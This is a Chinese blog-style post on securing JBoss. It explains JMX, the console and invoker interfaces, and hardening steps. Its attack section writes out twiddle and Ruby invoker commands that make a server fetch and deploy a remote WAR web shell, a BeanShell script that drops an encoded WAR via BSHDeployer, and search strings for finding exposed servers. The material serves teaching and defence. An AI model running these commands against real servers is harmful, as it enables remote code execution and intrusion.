JBOSS安全配置

JBOSS安全配置

概念:

JBoss应用服务器(JBoss AS)是一个被广泛使用的开源Java应用服务器。
它是JBoss企业中间件(JEMS)的一部分,并且经常在大型企业中使用。

架构

JBoss的模块架构是建立在JMX底层上的。JMX是一个可复用框架,它为远程(Remote)和本地(Local)管理工具扩展了应用。它的架构是层式架构。他们是实现层(instrumentation layer)、代理层(agent layer)和发布层(distribution layer)。用户使用管理Bean,MBean来提供获得相应资源的实现方法。实现层实现相关的特性资源并将它发布于JMX相关应用中,它的代理层控制和发布相应的注册在MBeanServer代理上的管理资源。.

JMX Invoker
Invokers允许客户端应用程序发送任意协议的JMX请求到服务端。
这些调用都用过MBean服务器发送到响应的MBean服务。
传输机制都是透明的,并且可以使用任意的协议如:HTTP,SOAP2或JRMP3。

Deployer架构
攻击者对JBoss应用服务器中的Deployers模块.

JAR(Java ARchives):JAR 文件格式用于部署和封装库、组件和插件程序,
并可被像编译器和 JVM 这样的工具直接使用。在 JAR 中包含特殊的文件,如 manifests 和部署描述符,用来指示工具如何处理特定的 JAR。

WAR(Web ARchives):WAR文件是JAR文件包含一个Web应用程序的组件,
与Java ServerPages(JSP),Java类,静态web页面等类似。

BSH(BeanSHell scripts):BeanShell是Java脚本语言,BeanShell脚本使用
Java语法,运行在JRE上。

JBoss目录结构说明 http://blog.chinaunix.net/uid-200142-id-3484956.html

JBoss架构分析 http://blog.chinaunix.net/uid-20684384-id-1895298.html

安全问题

JMX Console
JMX控制台允许通过web浏览器与JBoss应用服务器直接互动的组件。
默认访问地址:http://xxxx/jmx-console
Server 和ServerInfo-MBean(展现了JBoss应用服务器与主机系统的信息,
包含Java虚拟机以及操作系统的类型版本信息。)
MBeans的属性
jboss.system:type=Server
jboss.system:type=ServerInfo

*******MainDeployer********
MainDeployer的方法属性可以在JMX-console控制台中的jboss.system中调用。
deploy()方法可以由一个URL中一个参数调用,URL指向WAR文件,需要是服务器能够访问到的地址。
当invoke按钮被点击时,JBoss应用服务器会下载WAR文件并安装它,之后,就可以执行shell命令了

********RMI: 远程方法调用********
通常JMX控制台保护方法是加一个密码保护。
JBoss应用服务器经常与客户端程序接口相互调用,Java远程方法调用(RMI)也发挥重要作用;JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。
通过RMI访问MBean:RMI接口默认凯奇在端口4444上,JNDI接口默认开启在1098和1099上。
有了twiddle,就用可用命令行通过RMI调用JBoss应用服务器的MBeans。Windows下是twiddle.bat,Linux下是twiddle.sh来启动twiddle。类似于JMX控制台,MBEAN的属性可读可改,并且可以调用其方法。

显示MBean服务器的信息
./twiddle.sh?sscribusgetjboss.system:type=ServerInfo根据twiddle的帮助利用deploy()方法安装war文件。 ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy http://www.redteam-pentesting.de/redteam.war

RMI: 远程方法调用

通常JMX控制台保护方法是加一个密码保护。

然而这不是访问JBoss应用服务器组件的唯一方式,JBoss应用服务器经常与客户端程序接口相互调用,Java远程方法调用(RMI)也发挥重要作用。

使用RMI,本地应用程序可以访问远程对象,并可以调用它们的方法。客户端与服务器之间的通信是透明的。

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。

JNDI可访问的现有的目录及服务有:

DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

通过RMI访问MBean

RMI接口默认凯奇在端口4444上,JNDI接口默认开启在1098和1099上。

与JBoss应用服务器RMI通信,可以使用专门的Java程序。更简单的方式是使用twiddle,包括JBoss应用服务器的安装。

$ sh jboss-4.2.3.GA/bin/twiddle.sh -h

A JMX client to ’twiddle’ with a remote JBoss server.

usage: twiddle.sh [options] <command> [command_arguments]

options:

-h, –help Show this help message

–help-commands Show a list of commands

-H=<command> Show command specific help

-c=command.properties Specify the command.properties file to use

-D<name>[=<value>] Set a system property

– Stop procession options

-s, –server=<url> The JNDI URL of the remote server

-a, –adapter=<name> The JNDI name of the RMI adapter to user

-u, –user=<name> Specify the username for authentication

-p, –password=<name> Specify the password for authentication

-q, –quiet Be somewhat more quiet

有了twiddle,就用可用命令行通过RMI调用JBoss应用服务器的MBeans。Windows下是twiddle.bat,Linux下是twiddle.sh来启动twiddle。类似于JMX控制台,MBEAN的属性可读可改,并且可以调用其方法。

显示MBean服务器的信息

$ ./twiddle.sh -s scribus get jboss.system:type=ServerInfo

ActiveThreadCount=50

AvailableProcessors=1

OSArch=amd64

MaxMemory=518979584

HostAddress=127.0.1.1

JavaVersion=1.6.0_06

OSVersion=2.6.24-19-server

JavaVendor=Sun Microsystems Inc.

TotalMemory=129957888

ActiveThreadGroupCount=7

OSName=Linux

FreeMemory=72958384

HostName=scribus

JavaVMVersion=10.0-b22

JavaVMVendor=Sun Microsystems Inc.

JavaVMName=Java HotSpot(TM) 64-Bit Server VM

安装redteam.war

根据twiddle的帮助利用deploy()方法安装war文件。

$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy http://www.redteam-pentesting.de/redteam.war

通过下面的URL访问shell:

http://scribus:8080/redteam/redteam-shell.jsp

BSHDeployer
利用RMI攻击需要JBoss应用服务器能够访问远程HTTP服务器。
然而在很多配置中,防火墙不允许JBoss服务器对外发出连接请求:
虽然JBoss不允许直接直接上传文件,但是有BeanShellDeployer,我们可以在远程服务器上创建任意文件。

BeanShell
BeanShell是一种运行在JRE上的脚本语言,该语言支持常规的Java语法。可以很快写完,并且不需要编译。

BSHDeployer
JBoss服务器中BSHDeployer可以部署BeanShell脚本,它会安装后自动执行。
利用BSHDeployer安装的方法是:
createScriptDeployment(String bshScript, String scriptName)

BeanShell脚本

可以用下面的BeanShell脚本实现把redteam.war放到JBoss服务器上。

import java.io.FileOutputStream;

import sun.misc.BASE64Decoder;

// Base64 encoded redteam.war

String val = “UEsDBBQACA[…]AAAAA”;

BASE64Decoder decoder = new BASE64Decoder();

byte[] byteval = decoder.decodeBuffer(val);

FileOutputStream fs = new FileOutputStream(“/tmp/redteam.war”);

fs.write(byteval);

fs.close();

变量val中是redteam.war文件的base64编码后的字符串,脚本在tmp目录下生成redteam.war文件,Windows中可以填写C:WINDOWSTEMP。

安装redteam.war文件

利用twiddle,可以使用DSHDeployer的createScriptDeployement()方法:

$ ./twiddle.sh -s scribus invoke jboss.deployer:service=BSHDeployer createScriptDeployment “‘cat redteam.bsh‘” redteam.bsh

tedteam.bsh包含上面的BeanShell脚本,调用成功后JBoss服务器返回BeanShell创建的临时文件地址:

file:/tmp/redteam.bsh55918.bsh

当BeanShell脚本执行部署后,会创建/tmp/redteam.war文件,现在就可以通过调用本地文件来部署了:

$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy file:/tmp/redteam.war

之后就可以访问redteam-shell.jsp来执行命令了。

Web控制台
Web控制台与JMX控制台类似,也可以通过浏览器访问。除了这些还有更隐蔽的接口,其中之一就是Web控制台中使用JMXInvoker。
如果JMX控制台有密码保护的话,是不可以通过Web控制台访问MBean的函数的,需要登陆后才能访问。
Web控制台JMX Invoker
Web控制台除了可以看到组件的接口与JBoss服务器信息外,还可监视MBean属性的实时变化。
访问URL:
http://$hostname/web-console/Invoker
这个Invoker其实就是JMX Invoker,而不局限于Web控制台提供的功能。默认情况下,访问是不受限制的。

通过Web控制台Invoker可以读取MBean的属性与invoke方法。

这个类可以通过webconsole_invoker.rb脚本使用,使用方法如下:

$ ./webconsole_invoker.rb -h

Usage: ./webconsole_invoker.rb [options] MBean

?-u, –url URL The Invoker URL to use (default:http://localhost:8080/web-console/Invoker)

-a, –get-attr ATTR Read an attribute of an MBean

-i, –invoke METHOD invoke an MBean method

-p, –invoke-params PARAMS MBean method params

-s, –invoke-sigs SIGS MBean method signature

-t, –test Test the script with the ServerInfo MBean

-h, –help Show this help

Example usage:

./webconsole_invoker.rb -a OSVersion jboss.system:type=ServerInfo

./webconsole_invoker.rb -i listThreadDump jboss.system:type=ServerInfo

./webconsole_invoker.rb -i listMemoryPools -p true -s boolean jboss.system:type=ServerInfo

通过如下命令利用BSHDeployer来安装redteam.war文件。

$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i createScriptDeployment -s “java.lang.String”,”java.lang.String” -p “`cat redteam.bsh`”,redteam.bsh jboss.deployer:service=BSHDeployer

在远程服务器上创建一个本地的redteam.war文件,现在第二部就可以利用MainDeployer安装/tmp/redteam.war文件了。

$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i deploy -s “java.lang.String” -p “file:/tmp/redteam.war” jboss.system:service=MainDeployer

redteam-shell.jsp又可以访问了。

JMXInvokerServlet
之前提到过JBoss服务器允许任何协议访问MBean服务器,对于HTTP,JBoss提供HttpAdaptor。
默认安装中,HttpAdaptor是没有启用的,但是HttpAdaptor的JMX Invoker可以通过URL直接访问。
http://$hostname/invoker/JMXInvokerServlet
这个接口接受HTTP POST请求后,转发到MBean,因此与Web控制台Invoker类似,JMXInvokerServlet也可以发送任意的JMX调用到JBoss服务器。

httpinvoker.rb脚本与webconsole_invoker.rb脚本类似,但是需要JBoss服务器激活HttpAdaptor

$ ./httpinvoker.rb -h

Usage: ./httpinvoker.rb [options] MBean

?-j, –jndi URL The JNDI URL to use (default:http://localhost:8080/invoker/JNDIFactory)

-p, –adaptor URL The Adaptor URL to use (default:jmx/invoker/HttpAdaptor)

-a, –get-attr ATTR Read an attribute of an MBean

-i, –invoke METHOD invoke an MBe an method

–invoke-params PARAMS MBean method params

-s, –invoke-sigs SIGS MBean method signature

-t, –test Test the script with the ServerInfo MBean

-h, –help Show this help

安装tedteam.war

与webconsole_invoker.rb安装类似。

寻找JBoss服务器的方法:

inurl:”jmx-console/HtmlAdaptor”

intitle:”Welcome to JBoss”

wooyun安全示例

Java反序列化漏洞

JBOSS发现Java反序列化远程命令执行漏洞
http://www.freebuf.com/articles/86950.html

Jboss利用的是HTTP协议,可以在任何端口上运行,默认安装在8080端口中。而且Jboss与“JMXInvokerServlet”的通信过程中存在一个公开漏洞。JMX是一个java的管理协议,在Jboss中的JMXInvokerServlet可以使用HTTP协议与其进行通话。这一通信功能依赖于java的序列化类。以下可以作为自查依据:

JBoss JMXInvokerServlet接口(默认8080端口)以及JBoss Web Console (/web-console/) 禁止对外

以上系统均有传输对象序列化内容(二进制流或base64encode)。

当对这些传输数据截包并且替换为包含命令执行的序列化内容,远程命令执行即触发。

长安银行某网站远程命令执行漏洞
http://www.wooyun.org/bugs/wooyun-2010-0189964

P2P金融安全之兴业证券某站执行命令可威胁内网
http://www.wooyun.org/bugs/wooyun-2010-0188223

安盛天平另一系统可Getshell导致涉及大量用户敏感信息
http://www.wooyun.org/bugs/wooyun-2010-0187038

/invoker/JMXInvokerServlet远程命令执行

东风汽车网站一处命令执行漏洞
http://www.wooyun.org/bugs/wooyun-2010-0199139

五矿集团某站点jboss漏洞可内网渗透
http://www.wooyun.org/bugs/wooyun-2010-0109655

用友PDM Professional全版本通用型配置不当导致命令执行
http://www.wooyun.org/bugs/wooyun-2010-0151276

远程部署

西部证券某站配置不当
http://www.wooyun.org/bugs/wooyun-2010-0165386

中国电信某云呼叫中心服务弱口令导致getshell
http://www.wooyun.org/bugs/wooyun-2010-0114119

配置不当

华安保险某站配置不当可执行系统命令(涉及敏感信息)
http://www.wooyun.org/bugs/wooyun-2010-0186131

安全参考

建议一:删除JBOSSHOME/[server]/all/deploy和JBOSS_HOME/[server]/default/deploy下的Jmx-console.war、Web-console.war文件卸载控制台。或者去掉“jmx-console-web.xml”里的<http-method>GET</http-method> 和<http-method>POST</http-method>, 这样就能使所有HTTP类型的请求都要登录才能成功。

建议二:给jmx-console和web-console都加上密码。在 ${jboss.server.home.dir}/deploy下面找到jmx-console.war目录编辑WEB-INF/web.xml文件,去掉 security-constraint 块的注释,使其起作用。

建议三:编辑WEB-INF/jboss-web.xml去掉 security-domain 块的注释,security-domain值的映射文件为 login-config.xml (该文件定义了登录授权方式);或者直接删除 JBOSSHOME/[server]/all/deploy和JBOSS_HOME/[server]/default/deploy下的Jmx-console.war 、Web-console.war这两个.War文件来禁止对jmx-console和web-console的访问,再访问jmx-console或者 web-console时就返回404了。

建议四: 删除 server/default/deploy/http-invoker.sar 这个包

建议五:梳理并加强内网防火墙ACL,最好限制到端口级。

建议六:口令共用及弱口令问题等….

Jboss中间件安全设计方案 http://blog.csdn.net/czp11210/article/details/8823660

jboss安全设置 http://blog.csdn.net/czp11210/article/details/9003494

安全配置

整体管理的admin-console (JBoss5.1新增)
管理web的web-console
管理webservice的jbossws
管理jmx的jmx-console
以及根目录root.war

1、admin-console修改密码

admin-console 是已经需要密码验证的。但密码是默认的,需要修改。
修server/xxx/conf/props里jmx-console-roles.properties,jmx-console-users.properties(这俩个文件也是,jmx-console的用户配置文件)

2、web-console配置文件

web-console的用户文件在server/xxx/deploy/management/console-mgr.sar/web-console.war/WEB-INF/classes目录下,web-console-roles.properties和web-console-users.properties。需要修改jboss-web.xml和web.xml,去掉安全注释。

3、 jbossws配置文件

jbossws也是一样,在server/all/deploy/jmx-console.war/WEB-INF下修改jboss-web.xml和web.xml配置文件,去掉安全注释。修改server/xxx/conf/props里的jbossws-users.properties和jbossws-roles.properties。

4、删除root.war

ROOTwar通常生产环境下就不需要了,直接删除就可以了。

5、jmx-console加固

思维导图:

时间: 2024-11-11 11:42:39

JBOSS安全配置的相关文章

JBoss下配置数据源加密

一.JBoss下配置数据源时,如果密码直接暴露给了系统的操作员或者维护人员,显然就增加了数据库不安全的因素. MySQL Datasource配置样例 <?xml version="1.0" encoding="UTF-8"?> <!-- ===================================================================== --> <!--                      

jboss jndi配置部分参数详解

使用的是jboss7.1.1, jndi的配置在$JBOSS_HOME/standalone/configuration/standalone.xml中进行配置.配置jndi时有很多参数,解释下用到的一些参数: jndi-name The JNDI name under which the Datasource should be bound. datasource需要绑定的JNDI名称. use-java-context Boolean value indicating whether the

jboss数据源配置

http://blog.csdn.net/clinique/article/details/7482670 最近项目相关的JBOSS配置开始,留下点什么 项目使用的是local-tx-datasource, 网上找了很多资料,都没有明确说明local-tx-datasource和xa-datasource的区别,而且中文的资料太少,去JBOSS Community 查看了一圈找到了有价值的信息. local-tx-datasouce 能不能参与JTA事务 JBOSS Administration

JBoss 7 配置成windows启动服务

将Jboss7 server 配置成一个windows启动服务的两个文件,部署步骤如下: 1.    先检查是否配置java_home和jboss_home的环境变量,如没配置上先配置,如我的是JBOSS_HOME=D:\jboss-as-7.1.1.Final. 2.    将附件中jbosssvc.exe和service.bat文件拷贝到%JBOSS_HOME%\bin 目录下,如我的D:\jboss-as-7.1.1.Final\bin. 3.    开始-〉运行-〉输入”cmd”,进入命

Jboss 7配置日志

1. Jboss7配置日志理论知识介绍 Jboss 7日志可以在XML配置文件和日志管理属性文件内配置.默认日志配置在configuration目录的logging.properties文件内. 通常情况下,对于大多数安装,logging.properties内的默认值已经足够了.如要自定义日志类型,建议在xml配置文(standalone.xml或domain.xml文件,logging subsystem)内配置,可以定义7个主要类别: <root-logger /> <logger

JBOSS 数据源配置并使用JNDI调用

场景分析: 某天系统的数据库维护方要求进行DG备库容灾演练,要把生产用RAC库模拟宕机并转移至DG备库上,由于是failover而不是switchover演练,于是期间不对外开放apache访问,要求服务启动时间较紧. 数据库的切换导致IP的变更,这样导致ap上正在跑的系统不得不重新配置数据库连接,基于目前的机制需要执行以下步骤: a).停止服务群组 b).移除服务包 c).源服务包替换配置文件(这样还要求服务包的当前版本备份完好) d).重新上传服务包 e).分发至群组,最后启动群组 f).当

Eclipse中JBoss插件配置

JBoss 服务器集成到Eclispe(考虑Eclipse版本Version: Indigo Service Release 2) http://www.cnblogs.com/sunddenly/p/4330253.html

在同一个机器上运行两个jboss修改配置

http://blog.sina.com.cn/s/blog_8ebe17aa0101mnft.html 解决办法:修改 \jboss-4.0.4.GA\server\default\conf 目录下的jboss-services.xml内的org.jboss.naming.NamingService里面的俩个port,确保没有冲突. 经验证主要有以下几个地方需要改动,用来避免启动时的地址已经被绑定的异常. 环境:JBoss 4.2.2GA,JDK 1.5 1.   $JBoss_home/se

JBOSS.71.1.Final安装配置

对于JBOSS大家了解多少,相信做Java开发的小童鞋对于Tomcat一定不陌生,而今天为大家介绍的JBOSS也是一款服务器软件,相比Tomcat,JBOSS对于高级的JavaEE相对来说更强大一点,因为项目的需要简单了解了一下JBOSS,当然对于其强大的功能还不能面面俱到,本篇就简单带领大家学习一下JBOSS的安装配置.如果你对这个很感兴趣,欢迎交流学习. 1.既然谈到了安装,那我们应该到那里下载呢?JBOSS的官方下载网站:http://www.jboss.org/jbossas/downl